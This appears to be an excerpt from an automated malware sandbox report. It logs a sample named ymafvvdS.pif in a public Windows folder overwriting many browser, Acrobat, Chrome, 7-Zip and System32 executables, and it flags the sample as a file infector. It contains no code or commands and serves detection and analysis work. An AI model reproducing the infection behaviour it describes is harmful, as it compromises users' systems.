Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	File written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\vds.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\snmptrap.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\Spectrum.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Windows Media Player\wmpnetwk.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\Locator.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\chrmstp.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\SysWOW64\perfhost.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\msiexec.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\VSSVC.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\wbengine.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\Installer\setup.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\SearchIndexer.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\TieringEngineService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Windows\System32\AgentService.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to behavior
Source: C:\Users\Public\Libraries\ymafvvdS.pif	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
